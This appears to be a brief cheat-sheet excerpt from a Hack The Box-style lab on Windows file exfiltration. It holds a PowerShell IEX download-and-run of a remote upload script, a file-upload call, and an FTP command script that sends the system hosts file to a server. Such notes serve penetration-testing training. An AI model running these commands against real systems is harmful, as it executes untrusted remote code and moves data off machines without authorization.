$server = 127.0.0.1
$file = C:\

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://$server/upload -File $file

echo open $server > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt